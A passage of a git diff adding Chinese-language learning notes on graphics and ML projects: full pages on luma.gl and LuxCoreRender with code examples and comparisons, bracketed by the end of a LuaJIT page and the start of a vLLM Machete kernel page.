+4. **极简主义**：不做过多抽象层，每个优化都直击要害。LuaJIT 的代码库不大，但每一行都经过反复打磨
+5. **长期坚持**：从 2005 年至今持续开发，不是一次性的项目，而是经过十几年真实场景检验的产品
+
+## 进一步学习
+
+- LuaJIT 官方文档：https://luajit.org/
+- GitHub 仓库：https://github.com/LuaJIT/LuaJIT
+- FFI 教程：https://luajit.org/ext_ffi_tutorial.html
+- FFI API 参考：https://luajit.org/ext_ffi_api.html
+- JIT 编译器控制：https://luajit.org/ext_jit.html
+- 内置分析器使用：`luajit -jp yourscript.lua`
+
+## 小结
+
+LuaJIT 是 Mike Pall 用二十年时间打磨的一件作品。它证明了：在一个小众但精确定义的领域里（给 Lua 加 JIT），通过深入理解语言本身、大胆采用创新架构（追踪编译）、以及对手写汇编的执着追求，可以达到令人惊叹的性能水平。即使到今天，它仍然是动态语言性能领域的标杆之一。
diff --git a/src/content/docs/projects/luma-gl.md b/src/content/docs/projects/luma-gl.md
new file mode 100644
index 000000000..f9ec0a2b6
--- /dev/null
+++ b/src/content/docs/projects/luma-gl.md
@@ -0,0 +1,278 @@
+---
+title: luma.gl — vis.gl WebGL2/WebGPU 抽象
+来源: 'https://github.com/visgl/luma.gl'
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+provenance: pipeline-v3
+难度: 中级
+---
+
+## 是什么
+
+luma.gl 是 vis.gl 生态里的**可移植 GPU 工具包**——同一套 TypeScript API 可以跑在 WebGL 2 或 WebGPU 上，底层通过可插拔的 Adapter 切换。日常类比：原生 WebGL/WebGPU 像两家不同品牌的相机，镜头卡口、菜单、存储卡全不一样；luma.gl 则给你一支**通用机身**：你仍然自己调光圈快门（写 shader、管 buffer），但换镜头时不用重学整套操作，同一卷「底片格式」两边都能冲印。
+
+项目 2015 年从 PhiloGL 分叉，2019 年由 Uber 捐给 Linux Foundation，2022 年进入 OpenJS Foundation。它是 **deck.gl**、kepler.gl、streetscape.gl 的渲染地基：上层做地理可视化与大数据图层，luma.gl 负责 Device、Model、着色器模块与动画循环。当前主线 v9.3，全库 TypeScript strict，npm 包按职责拆分：`@luma.gl/core`（便携 GPU API）、`@luma.gl/engine`（Model / AnimationLoop）、`@luma.gl/shadertools`（着色器拼装）、`@luma.gl/webgl` 与 `@luma.gl/webgpu`（后端适配器）。
+
+与 Three.js 不同，luma.gl **不藏 shader**：概念上贴近 WebGPU/WebGL 原生对象（Device、Buffer、RenderPass、RenderPipeline），适合要直接操控 GPU、又希望一份代码双后端的数据可视化团队。
+
+## 为什么重要
+
+不理解 luma.gl，下面几件事很难讲清楚：
+
+- 为什么 deck.gl 能在同一套图层 API 下，既吃 WebGL2 扩展又逐步接 WebGPU，而不必 fork 两套渲染栈
+- 为什么「一份 GLSL + 一份 WGSL」可以写在同一个 `Model` 里——便携层在编译期选后端，而不是运行时硬翻译
+- 为什么 vis.gl 系列选「薄抽象 + 着色器模块库」，而不是再包一层场景图——大数据可视化要的是百万点 draw call 效率与可定制 shader
+- 为什么 Uniform Buffer、Shader Hook、Instancing 在 luma.gl 里是**一等公民**，与 Engine API 的 `Model.draw()` 绑在一起
+
+## 核心概念
+
+1. **三层 API 分工**
+   - **Core API**（`@luma.gl/core`）：`Device`、`Buffer`、`Texture`、`CommandEncoder`、`RenderPass`——与 WebGPU 概念对齐的便携资源层。
+   - **Shader API**（`@luma.gl/shadertools`）：`ShaderAssembler`、shader modules、hooks——把可复用 GLSL/WGSL 片段拼装进完整着色器。
+   - **Engine API**（`@luma.gl/engine`）：`Model`、`AnimationLoop` / `AnimationLoopTemplate`、`BufferTransform`、`TextureTransform`——把一次 draw 所需的 pipeline、attribute、binding 收成对象。
+
+2. **Adapter 与 Device**：`webgpuAdapter`、`webgl2Adapter` 是单例后端描述符。`makeAnimationLoop(Template, { adapters: [webgpuAdapter, webgl2Adapter] })` 会优先尝试 WebGPU，不可用则回退 WebGL 2。`Device` 是整棵资源树的工厂：创建 buffer、编译 shader、开 render pass。
+
+3. **Model = 一次绘制的完整快照**：类比 regl 的 command object，或 PicoGL 的 DrawCall，但跨后端。`Model` 持有 vs/fs（或 WGSL `source`）、`bufferLayout`、`attributes`、`bindings`（纹理、UBO）、`vertexCount` / `instanceCount`，对 `RenderPass` 调用 `.draw()` 即提交。
+
+4. **AnimationLoopTemplate 生命周期**：类式模板：`constructor` 里创建 GPU 资源并挂到 `this` 字段；`onRender` 每帧 `beginRenderPass` → draw → `end`；`onFinalize` 统一 `destroy()`。比纯回调的 `AnimationLoop` 更适合 TypeScript 非空字段推断。
+
+5. **Shader Modules 与 Hooks**：模块可声明 uniform、注入 `vs:HOOK_NAME(...)` 钩子，在不动主 shader 源码的情况下改顶点/片元行为——deck.gl 图层复用 lighting、project 等模块都靠这套机制。
+
+6. **CanvasContext 与默认 Framebuffer**：`createCanvasContext: true` 时，`device.beginRenderPass()` 无参调用即清屏并画到 swapchain；离屏则显式传 `framebuffer`。
+
+## 与 regl / PicoGL / Three.js 怎么选
+
+| 维度 | luma.gl | regl | PicoGL.js | Three.js |
+|------|---------|------|-----------|----------|
+| 后端 | WebGL2 **+** WebGPU | WebGL 1/2 | 仅 WebGL2 | WebGL/WebGPU（抽象层厚） |
+| 抽象 | 中：贴近 GPU API | 中：函数式命令 | 薄：≈ GL 对象 | 厚：Scene/Mesh |
+| 语言 | TypeScript 一等 | JavaScript | JavaScript | TypeScript |
+| 生态位 | deck.gl 地基、大数据 Viz | Observable、GPGPU | WebGL2 教学/demo | 通用 3D 产品 |
+| Shader | GLSL + WGSL 双份或 source | GLSL | GLSL 3.00 ES | ShaderMaterial 可选 |
+
+若你要**同一代码双后端**、且与 deck.gl / loaders.gl 同栈，luma.gl 是默认答案；若只写 WebGL2 小 demo，PicoGL/regl 更轻；若要完整 3D 编辑器体验，仍选 Three.js。
+
+## 实践案例
+
+### 案例 1：Hello Triangle — 双着色器、零顶点缓冲
+
+官方教程最小例：顶点位置写在 shader 里（`gl_VertexID` / `@builtin(vertex_index)`），同时提供 WGSL 与 GLSL，证明便携层如何选路。
+
+```typescript
+import {AnimationLoopTemplate, AnimationProps, Model, makeAnimationLoop} from '@luma.gl/engine';
+import {webgl2Adapter} from '@luma.gl/webgl';
+import {webgpuAdapter} from '@luma.gl/webgpu';
+
+const WGSL_SHADER = /* WGSL */ `
+@vertex fn vertexMain(@builtin(vertex_index) vertexIndex: u32) -> @builtin(position) vec4<f32> {
+  var positions = array<vec2<f32>, 3>(
+    vec2(0.0, 0.5), vec2(-0.5, -0.5), vec2(0.5, -0.5)
+  );
+  return vec4<f32>(positions[vertexIndex], 0.0, 1.0);
+}
+@fragment fn fragmentMain() -> @location(0) vec4<f32> {
+  return vec4<f32>(1.0, 0.0, 0.0, 1.0);
+}`;
+
+const VS_GLSL = /* glsl */ `#version 300 es
+const vec2 pos[3] = vec2[3](vec2(0,0.5), vec2(-0.5,-0.5), vec2(0.5,-0.5));
+void main() { gl_Position = vec4(pos[gl_VertexID], 0.0, 1.0); }`;
+
+const FS_GLSL = /* glsl */ `#version 300 es
+precision highp float;
+layout(location = 0) out vec4 outColor;
+void main() { outColor = vec4(1.0, 0.0, 0.0, 1.0); }`;
+
+class App extends AnimationLoopTemplate {
+  model!: Model;
+
+  constructor({device}: AnimationProps) {
+    super();
+    this.model = new Model(device, {
+      source: WGSL_SHADER,
+      vs: VS_GLSL,
+      fs: FS_GLSL,
+      topology: 'triangle-list',
+      vertexCount: 3,
+      shaderLayout: {attributes: [], bindings: []}
+    });
+  }
+
+  override onFinalize() {
+    this.model.destroy();
+  }
+
+  override onRender({device}: AnimationProps) {
+    const renderPass = device.beginRenderPass({clearColor: [1, 1, 1, 1]});
+    this.model.draw(renderPass);
+    renderPass.end();
+  }
+}
+
+makeAnimationLoop(App, {adapters: [webgpuAdapter, webgl2Adapter]}).start();
+```
+
+**要点**：`source` 供 WebGPU 路径编译 WGSL；`vs`/`fs` 供 WebGL2。无 attribute buffer 时 `shaderLayout.attributes` 为空。每帧 `beginRenderPass` → `draw` → `end` 是 luma.gl 渲染环的标准三步。
+
+### 案例 2：Instancing — 一次 draw 画四个彩色三角
+
+大数据可视化的缩影：几何只上传一份，per-instance 颜色与偏移走独立 buffer，`instanceCount` 控制实例数。
+
+```typescript
+import {Buffer} from '@luma.gl/core';
+import {AnimationLoopTemplate, AnimationProps, Model} from '@luma.gl/engine';
+
+// colorShaderModule 省略：把 instanceColor 从顶点传到片元
+
+class InstancingDemo extends AnimationLoopTemplate {
+  model!: Model;
+  positionBuffer!: Buffer;
+  colorBuffer!: Buffer;
+  offsetBuffer!: Buffer;
+
+  constructor({device}: AnimationProps) {
+    super();
+    this.positionBuffer = device.createBuffer(
+      new Float32Array([-0.2, -0.2, 0.2, -0.2, 0.0, 0.2])
+    );
+    this.colorBuffer = device.createBuffer(
+      new Float32Array([1,0,0, 0,1,0, 0,0,1, 1,1,0])
+    );
+    this.offsetBuffer = device.createBuffer(
+      new Float32Array([0.5, 0.5, -0.5, 0.5, 0.5, -0.5, -0.5, -0.5])
+    );
+
+    this.model = new Model(device, {
+      vs, fs, modules: [colorShaderModule],
+      bufferLayout: [
+        {name: 'position', format: 'float32x2'},
+        {name: 'instanceColor', format: 'float32x3', stepMode: 'instance'},
+        {name: 'instanceOffset', format: 'float32x2', stepMode: 'instance'}
+      ],
+      attributes: {
+        position: this.positionBuffer,
+        instanceColor: this.colorBuffer,
+        instanceOffset: this.offsetBuffer
+      },
+      vertexCount: 3,
+      instanceCount: 4,
+      parameters: {depthWriteEnabled: true, depthCompare: 'less-equal'}
+    });
+  }
+
+  override onRender({device}: AnimationProps) {
+    const renderPass = device.beginRenderPass({clearColor: [0, 0, 0, 1]});
+    this.model.draw(renderPass);
+    renderPass.end();
+  }
+}
+```
+
+**要点**：`stepMode: 'instance'` 标记 per-instance attribute；`bufferLayout` 与 WebGPU vertex buffer layout 对齐，WebGL 后端自动映射到 VAO。deck.gl 散点/路径图层底层就是类似的 instanced draw。
+
+### 案例 3（选读）：Shader Hook + UniformStore
+
+两个 `Model` 共享同一份三角形 buffer，通过 shader module 的 `OFFSET_POSITION` hook 左右平移，UBO 传不同颜色——展示模块组合而非复制 shader 全文。
+
+```typescript
+import {UniformStore} from '@luma.gl/core';
+import {ShaderAssembler} from '@luma.gl/shadertools';
+
+const assembler = ShaderAssembler.getDefaultShaderAssembler();
+assembler.addShaderHook('vs:OFFSET_POSITION(inout vec4 position)');
+
+const uniformStore = new UniformStore({
+  app: {uniformTypes: {color: 'vec3<f32>'}}
+});
+
+// model1: modules: [offsetLeftModule], bindings: { app: redUbo }
+// model2: modules: [offsetRightModule], bindings: { app: blueUbo }
+// onRender: model1.draw(pass); model2.draw(pass);
+```
+
+Hook 在**编译期**把模块代码缝进主 shader，运行时仍是一次 `Model` 一次 pipeline 缓存，适合 deck.gl 那种「图层堆叠、每图层只改一小段逻辑」的架构。
+
+## 模块安装与最小工程
+
+```bash
+npm i @luma.gl/engine @luma.gl/webgl @luma.gl/webgpu
+npm i -D vite typescript
+```
+
+`index.html` 入口用 `makeAnimationLoop` 注入 adapter 列表；Vite + TypeScript 是官方教程默认工具链。只跑 WebGL2 时可只装 `@luma.gl/webgl` 并传 `[webgl2Adapter]`，减小包体。
+
+## 踩过的坑
+
+1. **只写 GLSL 不写 WGSL**：在 `adapters` 含 `webgpuAdapter` 时，WebGPU 路径需要 `source` 或等价 WGSL；否则设备创建成功但 shader 编译失败。开发期可暂时只用 `webgl2Adapter` 排错。
+
+2. **忘记 `renderPass.end()` 与 `device.submit()`**：`beginRenderPass` 开启一帧的编码；仅 `draw` 不 `end` 时命令不完整。部分路径还需显式 `submit` 才把命令提交给 GPU（与 WebGPU 语义一致）。
+
+3. **`onFinalize` 漏 destroy**：`Model`、`Buffer` 不会随页面关闭自动释放；长时间运行的 dashboard 会涨 GPU 内存。
+
+4. **bufferLayout 与 shader attribute 名不一致**：`Model` 靠名字绑定；拼写差一个字母表现为「全黑屏、无 GL 报错」——用 `device.features` 与 shader 反射交叉核对。
+
+5. **DynamicTexture 未就绪就 draw**：`Model.draw()` 在纹理异步加载完成前返回 `false`；需在 `onRender` 里判断或监听加载完成，避免闪屏。
+
+6. **把 luma.gl 当场景图用**：没有内置 Camera、Light、骨骼动画；这些在 deck.gl 或自研层解决。硬套 Three.js 心智会反复撞墙。
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 与 deck.gl / loaders.gl / math.gl 同栈的可视化、地理空间、自动驾驶 XVIZ
+- 需要 **WebGL2 与 WebGPU 双后端** 的产品，愿意维护 GLSL+WGSL 或分后端 shader
+- 要写自定义图层、compute pass、GPGPU（`BufferTransform`、`Computation`）
+- 团队熟悉 GPU 管线，想要 TypeScript 类型安全的便携 Device API
+
+**不适用**：
+
+- 零基础只想快速出 3D 产品 → Three.js / Babylon.js
+- 纯 WebGL1 或极老环境 → regl / twgl
+- 不做可视化、不需要双后端 → PicoGL 或裸 WebGL2 更轻
+- 拒绝写 shader、只要配置式图表 → ECharts / Observable Plot
+
+## 历史小故事（可跳过）
+
+- **2015**：从 PhiloGL 分叉，Uber 内部地理可视化需要可维护的 WebGL 层。
+- **2016–2018**：与 deck.gl 深度耦合，shader module 体系成型，支撑百万级点渲染。
+- **2019**：捐给 Linux Foundation，与 deck.gl 一起开源治理。
+- **2022**：进入 OpenJS Foundation；v9 起 Core API 便携化，拆分 `@luma.gl/webgpu` 实验后端。
+- **2024–2026**：官方示例默认 **双后端** 跑通；Chrome WebGPU 特性通过 `DeviceFeatures` 持续对齐。
+
+## 学到什么
+
+1. **便携 GPU API 的正确粒度**：抽象到 Device/Pass/Pipeline，而不是抽象到「场景」——知识可与原生 WebGPU 文档互译。
+2. **Adapter 模式解耦后端**：业务代码依赖 `@luma.gl/core` 类型，测试时可换 mock adapter，CI 可只跑 WebGL headless。
+3. **Model 是可视化框架的单元**：deck.gl 的 `Layer` 最终落到 luma.gl 的 draw；理解 Model 就理解图层如何变成 GPU 命令。
+4. **Shader 模块 + Hook 是复用正路**：比复制粘贴整份 fragment shader 更易维护，也比运行时字符串拼接更安全。
+
+## 延伸阅读
+
+- 官方文档：[luma.gl Docs](https://luma.gl/docs)
+- API 总览：[API Overview](https://luma.gl/docs/api-guide)
+- 教程：[Setup](https://luma.gl/docs/tutorials)、[Hello Triangle](https://luma.gl/docs/tutorials/hello-triangle)、[Hello Instancing](https://luma.gl/docs/tutorials/hello-instancing)
+- 仓库：[github.com/visgl/luma.gl](https://github.com/visgl/luma.gl)
+- 姊妹项目：[deck.gl](https://deck.gl/)（高层图层 API）、[loaders.gl](https://loaders.gl/)（数据加载）
+
+## 关联
+
+- [[regl]] —— 函数式 WebGL 命令；luma.gl 的 Model 可类比为跨后端的 command 对象
+- [[picogl]] —— 仅 WebGL2 的薄封装；luma.gl 多一层便携 Core + Engine
+- [[d3]] —— 2D 可视化；海量地理点下沉 deck.gl + luma.gl
+- [[observable-plot]] —— SVG 图表；万级交互点需 GL 路线
+- [[playcanvas]] —— 完整游戏引擎，与 luma.gl 的数据 Viz 地基定位不同
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
+
+- [[d3]] —— D3.js — 不是图表库，是写图表库的乐高
+- [[deck-gl]] —— deck.gl — Uber 大规模数据可视化
+- [[glslify]] —— glslify — Browserify 风格 GLSL 模块
+- [[observable-plot]] —— Observable Plot — 你说想看哪两列的关系，库自己画图
+- [[picogl]] —— PicoGL.js — 极简 WebGL2 包装
+- [[playcanvas]] —— PlayCanvas — 浏览器里跑的 3D 游戏引擎
+- [[regl]] —— regl — 函数式 WebGL 封装
+
diff --git a/src/content/docs/projects/luxcorerender.md b/src/content/docs/projects/luxcorerender.md
new file mode 100644
index 000000000..97121b9da
--- /dev/null
+++ b/src/content/docs/projects/luxcorerender.md
@@ -0,0 +1,267 @@
+---
+title: LuxCoreRender — 物理光线追踪
+来源: https://github.com/LuxCoreRender/LuxCore
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**LuxCoreRender**（简称 LuxCore）是开源、基于物理方程的**无偏（unbiased）光线追踪渲染引擎**，源码托管于 [LuxCoreRender/LuxCore](https://github.com/LuxCoreRender/LuxCore)。它是经典项目 LuxRender 的 v2 续作：从 2013 年起用全新 C++/Python API（**LuxCore API**）和全新代码库重写，官方称同硬件同场景下可比旧版 LuxRender 快约 **10 倍**，并支持 **OpenCL GPU** 路径追踪。
+
+日常类比：如果把普通 3D 软件的「实时预览」比作用手机随手拍一张餐厅照片——光线只从相机走一趟、很多物理细节被近似掉——那 LuxCoreRender 更像在暗室里用**无数条虚拟光线**反复「采访」场景里的每一面墙、每一块玻璃、每一盏灯，问「有多少能量最终进了镜头」。采访次数（采样）越多，画面越干净；方程是物理的，所以焦散、色散、体积散射、复杂间接光等「难现象」不必靠手绘假阴影。
+
+和 [[blender]] 的 Cycles、[[appleseed]]、Mitsuba 同属**离线物理渲染**阵营，但 LuxCore 的特色是：
+
+| 特点 | 说明 |
+| --- | --- |
+| **LuxCore API** | C++ 与 **PyLuxCore** 一等公民；支持运行时动态改相机、材质、物体 |
+| **SDL** | Scene Description Language：基于 `Properties` 的键值场景描述（`.cfg` / `.scn`） |
+| **多引擎** | `PATHCPU`、`BIDIRCPU`、`PATHOCL` 等；单向/双向路径追踪可选 |
+| **LuxRays** | 专用光线–三角形求交加速（CPU / OpenCL） |
+| **Apache 2.0** | 可嵌入商业产品（v1 为 GPL） |
+| **BlendLuxCore** | [[blender]] 官方生态插件，在 Blender 内直接调用 LuxCore |
+
+典型分发形态：
+
+| 形态 | 说明 |
+| --- | --- |
+| **luxcoreui** | 带 ImGui 的交互预览 + 调参示例（`samples/luxcoreui`） |
+| **luxcoreconsole** | 命令行批渲染（`samples/luxcoreconsole`） |
+| **pyluxcore** | Python 绑定；`pip install pyluxcore`（版本随发行线更新） |
+| **PyLuxCoreTools** | 网络渲染、film 合并、命令行工具集 |
+| **BlendLuxCore** | Blender 插件（独立仓库） |
+
+仓库自带 `scenes/`（Cornell Box、LuxBall 等），是读 API 与对比引擎的最短路径。
+
+## 为什么值得学
+
+零基础想理解「物理光线追踪」而不立刻陷入 CUDA 内核，LuxCore 是一条**文档齐全、场景现成、Python 可脚本化**的路线：
+
+- **概念与实现分离清晰**：场景用 SDL `Properties` 描述；`RenderConfig` + `RenderSession` 管渲染生命周期；换引擎只改 `renderengine.type`
+- **研究友好**：双向路径追踪、Metropolis 采样、AOV / Film 通道、OpenVDB 体积等；Wiki 有完整 [SDL 参考手册](https://wiki.luxcorerender.org/LuxCore_SDL_Reference_Manual_v2.11)
+- **与 DCC 打通**：BlendLuxCore 让你在 [[blender]] 里摆场景，底层仍走 LuxCore 物理内核
+- **对比学习**：可与 [[appleseed]]（光谱 + OSL）、Mitsuba（研究向逆渲染）对照读路径追踪管线
+
+注意：LuxCore 专注**成片质量**，不追求 [[unreal-engine]] 级实时帧率；交互预览是「渐进收敛」，不是游戏引擎那套光栅化。
+
+## 核心概念
+
+### 1. 光传输在算什么？
+
+**全局光照**要估算：从光源发出、经表面反射/折射/散射后，有多少辐射度沿视线进入相机。LuxCore 默认用**蒙特卡洛路径追踪**：从相机发射随机光路，在表面按材质 BSDF 采样下一方向，命中光源或环境则贡献辐射；重复成千上万次后像素方差下降。
+
+关键术语：
+
+| 术语 | 含义 |
+| --- | --- |
+| **Path tracing** | 单向路径追踪：从眼睛出发追踪光路（`PATHCPU` / `PATHOCL`） |
+| **Bidirectional PT** | 双向路径追踪：同时从眼睛和光源建路再连接（`BIDIRCPU`），擅长间接光、小光源 |
+| **Russian Roulette** | 深度过大时 probabilistically 终止路径，控制计算量 |
+| **Fireflies** | 极少数极亮样本造成的噪点；可用 `path.clamping.variance.maxvalue` 抑制 |
+| **Sampler** | 决定像素内采样点分布（随机、Metropolis、Sobol 等） |
+| **Film** | 累积样本的「底片」；可输出 beauty、depth、normal、AOV 等通道 |
+
+### 2. 软件分层
+
+```
+BlendLuxCore / 自研宿主
+        ↓
+  LuxCore API (C++ / pyluxcore)
+        ↓
+  RenderSession ←→ Scene (几何/材质/灯光)
+        ↓
+  RenderEngine (PATHCPU, BIDIRCPU, PATHOCL, …)
+        ↓
+  LuxRays (BVH 求交, CPU/OpenCL)
+```
+
+- **Properties**：一切配置的载体，键为 `scene.camera.lookat.orig` 这类点分路径
+- **Scene**：网格、实例、材质、纹理、灯光、相机
+- **RenderConfig**：把场景 + 引擎 + Film 尺寸 + 采样策略绑在一起
+- **RenderSession**：`Start()` 后后台累积样本；`UpdateStats()` / `GetFilm()` 读进度与图像
+
+### 3. 渲染引擎怎么选？
+
+SDL 中 `renderengine.type` 决定算法（摘自 [SDL 手册](https://wiki.luxcorerender.org/LuxCore_SDL_Reference_Manual_v2.11)）：
+
+| 引擎 | 说明 | 典型场景 |
+| --- | --- | --- |
+| **PATHCPU** | 单向路径追踪，支持全图 Metropolis | 默认首选；通用产品可视化 |
+| **BIDIRCPU** | 双向路径追踪 | 室内间接光、复杂焦散 |
+| **TILEPATHCPU** | 按 tile 的路径追踪 | 大分辨率、内存友好 |
+| **PATHOCL** / **TILEPATHOCL** | OpenCL GPU 路径追踪 | 有兼容 GPU 时加速 |
+| **FILESAVER** | 只导出场景文件 | 管线中转 |
+
+常用深度参数（`PATHCPU`）：
+
+- `path.pathdepth.total`：总反弹深度（默认 6）
+- `path.pathdepth.diffuse` / `glossy` / `specular`：分类型深度上限
+- `path.russianroulette.depth`：从第几跳开始 RR（默认 3）
+
+### 4. SDL 与配置文件
+
+场景可用 **`.cfg`**（渲染配置，指向 `scene.file`）或 **`.scn`**（纯场景）描述。最小 Cornell Box 工作流：
+
+1. `scenes/cornell/cornell.cfg` — 分辨率、引擎、输出路径
+2. `scenes/cornell/cornell.scn` — 几何、材质、面光源
+
+`.cfg` 本质是 `Properties` 序列化；C++/Python 都可 `Properties("foo.cfg")` 加载后 `Set()` 覆盖任意键，无需改磁盘文件。
+
+### 5. 动态编辑与交互渲染
+
+LuxCore API 设计目标之一，是支持 SLG（SmallLuxGPU）时代那种**渲染过程中改相机、换材质、调灯光**。典型模式：
+
+```text
+session.BeginSceneEdit()
+# 修改 scene / config 的 Properties
+session.EndSceneEdit()
+```
+
+BlendLuxCore 视口预览、luxcoreui 拖拽相机，都建立在这一能力上。这与旧 LuxRender C API「场景静态、难以热更新」形成对比。
+
+### 6. 构建与依赖（简表）
+
+官方 [Building LuxCoreRender](https://wiki.luxcorerender.org/Building_LuxCoreRender) Wiki 推荐 Conan + CMake。快速路径（Linux/macOS）：
+
+```bash
+git clone https://github.com/LuxCoreRender/LuxCore.git
+cd LuxCore
+git checkout for_v2.10   # 发行分支示例，以 README 为准
+make deps
+make                     # 或 make luxcoreconsole / make pyluxcore
+```
+
+工具链要求（摘录）：Git、Python 3、Conan、CMake；Linux 上 gcc 14；Windows 上 MSVC 194x。构建产物默认在 `out/install/Release/bin/`。
+
+## 代码示例
+
+### 示例 1：PyLuxCore — 加载场景并路径追踪
+
+以下模式来自官方 `samples/pyluxcoredemo/pyluxcoredemo.py`：加载 `.cfg`、切换 CPU 路径引擎、循环读统计直到时间到。
+
+```python
+import time
+import pyluxcore
+
+# 从仓库 scenes 目录加载（需在 LuxCore 根目录或调整路径）
+props = pyluxcore.Properties("scenes/cornell/cornell.cfg")
+
+# 显式使用 CPU 单向路径追踪
+props.Set(pyluxcore.Property("renderengine.type", ["PATHCPU"]))
+
+config = pyluxcore.RenderConfig(props)
+session = pyluxcore.RenderSession(config)
+
+session.Start()
+start = time.time()
+
+while True:
+    time.sleep(1)
+    session.UpdateStats()
+    stats = session.GetStats()
+
+    elapsed = stats.Get("stats.renderengine.time").GetFloat()
+    passes = stats.Get("stats.renderengine.pass").GetInt()
+    samples_per_sec = stats.Get("stats.renderengine.total.samplesec").GetFloat() / 1e6
+
+    print(f"[{elapsed:5.1f}s] pass={passes}  samples/s={samples_per_sec:.2f}M")
+
+    if time.time() - start > 10:
+        break
+
+session.Stop()
+
+# 读出 beauty 通道（float RGB）
+film = session.GetFilm()
+w, h = film.GetSize()[:2]
+buf = [0.0] * (w * h * 3)
+film.GetOutputFloat(pyluxcore.FilmOutputType.RGB_IMAGEPIPELINE, buf)
+print(f"Film {w}x{h}, first pixel RGB ≈ {buf[0]:.3f}, {buf[1]:.3f}, {buf[2]:.3f}")
+```
+
+要点：`RenderSession` 在 `Start()` 后于后台线程累积；主线程定期 `UpdateStats()` 与 `GetFilm()`。换 `BIDIRCPU` 只需改 `renderengine.type`。
+
+### 示例 2：luxcoreconsole — 命令行批渲染
+
+不写 Python 时，用编译好的 `luxcoreconsole` 最短（README 官方示例）：
+
+```bash
+# 渲染 10 秒后自动停止（batch.halttime 单位为秒）
+./out/install/Release/bin/luxcoreconsole \
+  -D batch.halttime 10 \
+  scenes/cornell/cornell.cfg
+
+# 覆盖引擎与输出目录（-D 即 Properties 赋值）
+./out/install/Release/bin/luxcoreconsole \
+  -D renderengine.type BIDIRCPU \
+  -D batch.halttime 30 \
+  -D batch.filesaver.directory /tmp/luxout \
+  scenes/luxball/luxball-hdr.cfg
+```
+
+`-D key value` 与在 Python 里 `props.Set(pyluxcore.Property("key", ["value"]))` 等价，适合渲染农场与 CI 回归对比。
+
+### 示例 3：用 Properties 在代码里拼最小场景片段
+
+除文件加载外，也可纯 API 构造场景（SDL 键名与手册一致）。下面展示**相机**与**哑光材质**两块的 Properties 写法（几何与网格需另用 `Scene` API 或外部 `.scn`）：
+
+```python
+import pyluxcore
+
+props = pyluxcore.Properties()
+
+# 相机：原点看向场景中心
+props.Set(pyluxcore.Property("scene.camera.type", ["perspective"]))
+props.Set(pyluxcore.Property("scene.camera.lookat.orig", [0.0, 1.0, -5.0]))
+props.Set(pyluxcore.Property("scene.camera.lookat.target", [0.0, 0.0, 0.0]))
+props.Set(pyluxcore.Property("scene.camera.lookat.up", [0.0, 1.0, 0.0]))
+props.Set(pyluxcore.Property("scene.camera.fieldofview", [45.0]))
+
+# 材质：灰色哑光漫反射
+props.Set(pyluxcore.Property("scene.materials.graymatte.type", ["matte"]))
+props.Set(pyluxcore.Property("scene.materials.graymatte.kd", [0.75, 0.75, 0.75]))
+
+# 渲染与 Film
+props.Set(pyluxcore.Property("film.width", [640]))
+props.Set(pyluxcore.Property("film.height", [480]))
+props.Set(pyluxcore.Property("renderengine.type", ["PATHCPU"]))
+
+# 若已有 scene.file，可 RenderConfig(props)；否则需 Scene 对象合并网格
+# config = pyluxcore.RenderConfig(props)
+```
+
+实践中更常见的是：**几何在 `.scn`**，脚本只改 `renderengine.*`、`sampler.*` 或相机 Properties 做批量实验。
+
+## 与相近项目对比
+
+| 项目 | 协议 | 定位 | 与 LuxCore 的差异 |
+| --- | --- | --- | --- |
+| **LuxCoreRender** | Apache 2.0 | 通用物理离线渲染 + 动态 API | GPU OpenCL、SDL Properties、BlendLuxCore |
+| **[[appleseed]]** | MIT | 光谱 + OSL 生产渲染 | 强调光谱与 OSL；项目文件为 XML `.appleseed` |
+| **Mitsuba 3** | BSD | 研究向逆渲染 / 可微 | Python 一等、科研论文复现多 |
+| **Cycles** | GPL（随 Blender） | DCC 内置 | 与 Blender 深度集成，非独立库 |
+
+若你已在 [[blender]] 里用 Cycles，学 LuxCore 的价值在于：**同一套建模流程**下对比不同路径追踪实现、采样器与双向 PT 行为；BlendLuxCore 是桥梁。
+
+## 学习路径建议
+
+1. **先跑起来**：编译或使用预编译包 → `luxcoreui scenes/cornell/cornell.cfg` 观察渐进收敛
+2. **读 SDL**：打开 `cornell.cfg` + `cornell.scn`，对照 Wiki 查每个 `scene.materials.*` 键
+3. **改引擎**：同一场景分别用 `PATHCPU` 与 `BIDIRCPU`，比较噪点分布与渲染时间
+4. **写脚本**：用 PyLuxCore 循环改 `path.pathdepth.total` 或相机 `lookat`，输出 Film 做曲线实验
+5. **接 DCC**：安装 BlendLuxCore，在 [[blender]] 里复现 Cornell Box，理解「视口 = RenderSession」
+6. **深入源码**：`samples/luxcoreconsole` → `RenderSession` → `PathCPURenderEngine` → LuxRays BVH
+
+延伸阅读：
+
+- [LuxCore API 介绍](https://wiki.luxcorerender.org/LuxCore_API)
+- [SDL Reference Manual v2.11](https://wiki.luxcorerender.org/LuxCore_SDL_Reference_Manual_v2.11)
+- [Building LuxCoreRender](https://wiki.luxcorerender.org/Building_LuxCoreRender)
+- 官方站点：https://www.luxcorerender.org
+
+## 小结
+
+LuxCoreRender 把「物理正确的光传输方程」落实为可嵌入的 **LuxCore API**：`Properties` 描述场景，`RenderSession` 驱动渐进式路径追踪，LuxRays 负责求交加速。零基础可从 Cornell Box 和 `luxcoreconsole` 入手，再用 PyLuxCore 做参数扫描；若已用 [[blender]]，BlendLuxCore 是最自然的生产入口。与 [[appleseed]]、Mitsuba 并列阅读，能更快建立现代离线渲染器的共同骨架：场景描述 → 采样器 → 光路 → Film 累积 → AOV 输出。
diff --git a/src/content/docs/projects/machete-kernel-vllm.md b/src/content/docs/projects/machete-kernel-vllm.md
new file mode 100644
index 000000000..cddfa57e0
--- /dev/null
+++ b/src/content/docs/projects/machete-kernel-vllm.md
@@ -0,0 +1,255 @@
+---
+title: vLLM Machete W4A16 Kernel 学习笔记
+来源: https://github.com/vllm-project/vllm/blob/main/csrc/quantization/machete/README.md
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+# vLLM Machete W4A16 Kernel 学习笔记
+
+## 一、为什么要学这个？
+
+大语言模型推理很慢。一个 70B 参数的模型，一次推理要做上万亿次矩阵乘法。Machete 就是 vLLM 里专门加速这些矩阵乘法的"特种部队"。
+
